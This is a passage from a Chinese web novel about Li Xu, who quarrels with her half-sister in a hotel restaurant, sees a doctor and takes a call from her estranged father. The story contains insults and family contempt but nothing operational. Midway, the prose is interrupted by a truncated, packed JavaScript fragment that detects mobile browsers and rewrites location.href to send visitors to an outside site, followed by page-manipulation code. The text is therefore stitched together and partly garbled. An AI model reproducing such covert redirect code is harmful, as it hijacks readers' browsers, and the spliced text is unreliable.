“显得礼貌些。”李絮毫不羞赧地耸了耸肩,厚着脸皮得寸进尺,“要不然你送我?就当作是这支烟的回礼了,我会心怀感激地收下的。” 风似蓝色一汪水,无声地冲刷此间,将话与话之间的空隙压得分外拥挤逼仄。 她的态度太游离了。 犹如一尾分开海水的、光滑的鱼,主动跃入船舟,却又怎么都无法徒手捉住。 以至于言漱礼的眉宇间都渐渐凝了层霾色。 “我不缺这把伞。”他神情冷峻,咀嚼字句般低声,“难道你就缺么。” “缺啊。”李絮似笑似叹,“毕竟我运气实在太差。回来的每一天,都是下雨天。又总是三心两意,买一把丢一把,总是弄丢伞。” 真假掺杂。 恳切的伪饰。 显然不是对方想要的答案。 言漱礼面无表情地沉默良久,声音毫无起伏,低而冷淡地叫了一声她的名字,“李絮。” 李絮不习惯被他直呼姓名,心脏被攥紧般皱了皱,但仍习惯性维持笑意,“嗯?” 很难分清这究竟是轻蔑、恻隐、抑或其他的什么东西。 言漱礼眼神像雨一样淋过她。 令她骤觉春寒料峭,今夜其实并非赏樱的良夜。 “你知不知道自己这么笑的时候——”他顿了顿,声音低低的,“其实一点可信度都没有。” 有刹那哑然。 在这个潮湿、朦胧、隐晦的瞬间。隔着一片雾眺望另一片雾。有种不受控制的古怪情绪在心底滋长。 可是言漱礼太冷了。 冰刃那么锋利薄冷。 即使有几分时隐时现的欲望附丽其上,亦很难让人生出不切实际的遐想。 李絮将衔于唇间的香烟拿开,拨得唇环生硬地晃了晃。 她收敛表情,不再露出那种装饰虚荣心一般表演性质的笑,只静静望向那双深邃而冷漠的琥珀色眼睛。 “你觉得我在骗你吗。”她好轻好轻地问。 却又不是问。 言漱礼没有应声,面沉如水地与她对视。仿佛在透过橱窗玻璃审视一副旁逸斜出的拙劣画作。很久很久,那道透骨的目光才重新归于消寂。 他夹烟的手越过她腰肢,避开不必要的触碰,将剩余无几的万宝路摁灭在烟灰柱里。 “我不在乎那种无关紧要的事。” 静谧的樱树下,李絮听见他在耳边沉声。 “既然不想还,那就由你,不必还了。” 没有发生任何需要李絮焦虑的状况。 言漱礼既没有跟她上楼,也没有再停留多一秒,甚至没再跟她讲任何一句话。 他维持着那份不逾矩的绅士风度,捉住她的手,摊开她掌心,帮她将伞握紧。 最后低低瞥落一眼,他掀开伞面,步入夜色,头也不回地离开了这座纯白建筑。 车从另一个方向离开。 李絮停留在原地,甚至无法目送。 她怔怔撑着一把于当下而言华而无用的伞,被花期将逝的早樱拂了一身,被无声燃尽的烟烫伤了手指。 夜晚迟钝地褪色。 雨停了又落,或许从未真正停止过。 12. 12 12 李絮久违地遭遇了失眠。 翌日起来,不知是不是一个人在江边吹了太久冷风,隐隐有些头晕脑胀,还有些鼻塞咽痛的症状。试着说了句话,鼻音都重了些。 后知后觉感到不太妙。 怕会是中招了甲流。 飞佛罗伦萨时间不短,就算是走亚港出发,至少也要十几个小时。 李絮吃过一次感冒硬飞长途的苦。那时起飞降落时外界气压快速变化,她脑袋翻天覆地,一阵又一阵尖锐的疼,嗡嗡的,差点以为自己耳朵要被钢筋扎穿了,马上要聋。落地以后也没即刻好转,听力还蒙了两天,没少遭罪。 想想都有点心有余悸。 为免拖延行程,与陈彧在国内碰面。她抱着被褥做了一会儿心理准备,还是决定小题大作一回,就近去医院挂个号看看。 简单洗漱完,妆都懒得化,她颇有些事后找补的意思,挑了行李箱里最厚的那件高领毛衫和廓形西装出来穿。 临出门看了看窗外的绵绵雾雨,又折返,将倚在旁边的那把伞带上了。 酒店楼下餐厅出品不错,她没折腾另找,直接下去找了个靠窗位置。 今日工作日,还未到正经午餐时间,餐厅食客寥寥,人与人之间的距离保持得很足,连侍应生都显得分外空闲。 李絮权当吃brunch,翻开菜单,要了一份蓝莓奶酪酸面包,一客无花果三文鱼沙拉,再加一件孔泰巴斯克和一杯红茶拿铁。 李絮对吃不怎么挑剔,口味很易把握。她喜欢一切安慰食物,不限于巧克力、糖果、芝士等甜食,也永远不会拒绝咖啡和酒精。 菜品上得迅速。自己一人,毋需讲究什么礼仪不礼仪。她一手拿餐叉,另一手懒懒滑动支在桌面的手机横屏,点开《小小旅人》的游戏界面,例行花费几分钟帮Liam做每日日常任务。 因为李絮很懒,常常错过运营活动,又吝啬孤寒,不肯猛猛氪金。所以她的Liam,对比起玩家排行榜上其他光鲜亮丽的Liam,是一只不折不扣的小穷鬼,丝毫见不到任何发家致富的可能性。 将今日辛辛苦苦摊煎饼挣到的金币交给黑心飞船维修工,正使唤着小怪兽准备到村里超市逛一逛,看看有没有打折种子可以捡漏,就听见现实邻座传来细微异响。 李絮挖了一小勺巴斯克送到嘴边,顺势望过去。 甫一转头,就蓦然撞见一张明晃晃写满厌恶的脸。 侍应生引着两位年轻女士入座。一个染粉发穿古着,妆容夸张,浑身叮叮当当的,打扮很亚。另一个精致甜美,走学院千金风,一身法意白高定斜纹呢套装,朱罗纱领口扎着蝴蝶结,衬得脸型流畅小巧。 向李絮投来嫌恶目光的,正是后者。 见李絮也注意到了自己,她即刻避开视线,满脸不屑地别过脸,尚未落座,就重新拎起包要走。 “都说了不要来这家,又旧又难吃,你非要来!看吧,路上追尾也就算了,还碰上倒胃口的晦气东西。”李翎冲同伴翻了个白眼,不耐烦地发脾气,“走啦,费事眼冤!对着这么个东西,佛都有火,谁还吃得下。” “凭什么是你走啊。” 她闺蜜惯会冷嘲热讽,直接扯她坐下来,一边欣赏自己刚做好的美甲,一边看戏似的瞥过去。声音不高不低,正好能令邻座的李絮听清。 “你才是名正言顺的丽珀千金,哪有正牌给水货让路的道理?哦,欺负你和潘姨人好心善面皮薄啊?做鸡做三都讲究职业道德。哪个像她那妈似的,插足完别人家庭,讨着了长期饭票,还不感恩知足,还要吃碗面反碗底,反过来给人捅刀子,一点脸面都不给恩客留的?被丢掉的小贱种也是,不识趣滚远点,还要招招摇摇晃到正主眼前来,恶不恶心啊,难不成真想觍着脸分你们兄妹俩身家?哇,好有胆,也不怕遭天谴!” 可谓字字珠玑。 李絮不禁感慨。 在意大利待久了,防御有所松懈,自己当真是很久没有听见过攻击力这么强、这么难听的中文了。 不过难听归难听,却不是全无道理。 她惯会忍耐,也惯会装作风平浪静。此刻便只置若罔闻,低头继续吃完那半块巴斯克,又有条不紊地将拿铁饮净,喝了一点柠檬水漱口,才抬手唤侍应生结账。 离座时,李翎一动不动堵在过道,抱着手臂忿忿斜睨她。 李絮垂眼看着与自己同父异母的妹妹,心平气和地讲了句,“劳驾。借过。” “你算什么东西,也敢劳我的驾?”李翎历来跋扈骄纵,大庭广众之下也毫不掩饰自己的鄙夷,“不年不节的,又没死人,你突然回云城来做什么。” 说得好似过年过节,她就可以被允许回来似的。 其实就连唯一拿她当李家人的奶奶,前年举行的葬礼,她都没名没份,没资格出席。 “回来看个医生。”约的看诊时间快到了,李絮无意跟她起冲突,随口敷衍了一句,从手袋拿了片口罩戴上,好心建议道,“最近甲流多发,你还是和我保持一下距离比较好,免得传染。这病症状可轻可重,搞不好运气差,真的会死人。” 说罢,不等对方反应,便拿齐物件绕了条道,转身往另一个方向离开。 “喂!”李翎穿着高跟,没法追上去,只在后面恨得咬牙,差点要不顾姿态把手袋丢过去,“你给我站住!死贱种!我叫你站住!李絮!喂——!” 李絮步速很快。 三步并作两步出了餐厅,与电梯出来的人群擦了擦肩。她抱着一把伞,礼貌低头道歉,继而一刻不停地连续按下关门键。 轿厢只她一人,缓缓下行时,带来微妙的失重感。 她直视着镜门中自己面色不佳的虚像,慢慢深呼吸,平复加速的心率。 ——“李絮。” 她无波无澜,无声默念了一遍这两个字。 早在李兆霖还没结婚之前,就和罗跃青有了她。罗跃青从前还满怀希冀地跟她讲过,这个名字是请大师算过生辰八字,在三个最好的选项里,由李兆霖亲自挑出来的。 取的是“轻柔洁白”之意。 然而实际上,这个字更容易令人联想到其他含义。尤其是在这春天里。 李翎。 李絮。 同样意蕴空中之物。 只不过一个向上飞,一个往下坠。 其实也不错。很小的时候李絮就已经学会安慰自己。人人生而不同,总归各得其所。 此刻雨也在往下坠。 李絮站在大堂,打开地图导航看了一下路线。酒店距离一家私立三甲医院不远,两公里路不到。CBD雨天不好打车,哪里都堵,索性步行过去,说不定到得更快。 昨夜从言漱礼那里强行讨来的伞,果然派上了用场。 打开的瞬间,伞面还黏留几瓣枯萎的樱花。李絮耐心一一摘开,裹紧外套,静静闯入濛濛雨幕里。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15042079|162575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江边几树早樱经历彻夜风雨,又再凋零几分,粉白花瓣铺了满地。 李絮没往那边走,站定望了半晌,等车经过,直接出了庭院。 私立三甲唯一的优势就是人少清静,服务好,不必浪费时间排队。 呼吸内科的医生态度专业,让她做了几项检查,确诊了是普通感冒,而非甲流。 李絮刚刚放下心来,下一秒就听见医生边开药边嘱咐自己,“你回去好好休息,药按时吃,擤鼻涕、打喷嚏的时候注意点儿。呼吸道感染容易诱发中耳炎,我看你这有几次既往病史。” 李絮沉默半晌,有些不抱希望地寻求建议,“医生,我能飞长途吗,十几个小时。” 医生回答得温和且冷酷,“不是什么十万火急等着救命的事,你还是先顾念顾念自己的身体吧。过几天就能好,消停会儿,别自找罪受。” 李絮当即蔫了。 看完诊,拎着一小袋药走出门诊大厅,外面雨还是没停,反倒越下越大。 这不是能步行回去的雨势。李絮乖乖叫了辆车,看路况,司机接单过来都得先开十分钟。 她百无聊赖站在门口,心里盘算着,是该请霍敏思帮帮忙找个地方躲几天,还是直接等陈彧找上门来,把该吵的架赶紧吵了,该演的戏赶紧演完。 其实哪样她都不太喜欢。 想着想着,心不在焉地,手机响了。 一个本地号码。 原以为是网约车司机,没想到接了起来,才发现居然是李兆霖。 “怎么突然从伦敦回来了,也不跟爸爸说一声。” 不知是电流转换的问题,还是太久没听见李兆霖的声音,总感觉与印象中有所不同。 李絮没去纠正他话中的错漏,只简短回应,“临时有点事,很快就走。” “回学校?你也快毕业了吧,什么时候,明年还是后年?” “今年七月。” “好。毕业回来,爸爸给你安排进丽珀底下的副线品牌。是个刚收购不久的独立工作室,底子扎实,前景不错。你回来从基层做起,多多学习,多多积累经验,以后爸爸就把它交给你打理。” 丽珀集团原本是潘家的产业,规模不算大,主要经营珠宝首饰零售、批发和制造业务。李兆霖早年入赘,熬了许多年才终于熬死自己岳父,揽过妻子潘盈盈名下的股份,成功上位董事长。 李絮望着淅淅沥沥的雨,态度平静,鼻音有些沙哑,“我读的是绘画,不是珠宝设计,也不是经营管理,进去恐怕帮不上什么忙。” 李兆霖不以为然,“在学校读什么专业不重要,反正进了公司都要从零开始学,只要你肯下功夫,一定有收获。” 李絮嘲讽地扯了扯唇角,“你把我塞进去丽珀,潘姨知道了,不会有意见吗。” “丽珀现在是我做主,你潘姨不管事,又识大体,怎么会同小孩子计较?”李兆霖的语气不容置疑,“殚竭心力终为子。你是我的亲生女,不管你妈妈以前将场面闹得多难看,事情做得多错,我也绝不会对你不闻不问。” 真是惯会讲漂亮话。 李絮心中赞叹,自己的虚与委蛇和巧言令色,大概就是遗传自这人。 “对了。” 不待她应声,对面就赶时间般,又紧接着命令,“你晚上把时间空出来,跟爸爸一起吃个饭。我们父女俩也这么久没见面了,有件事,关乎你的将来,爸爸要跟你好好谈一谈。”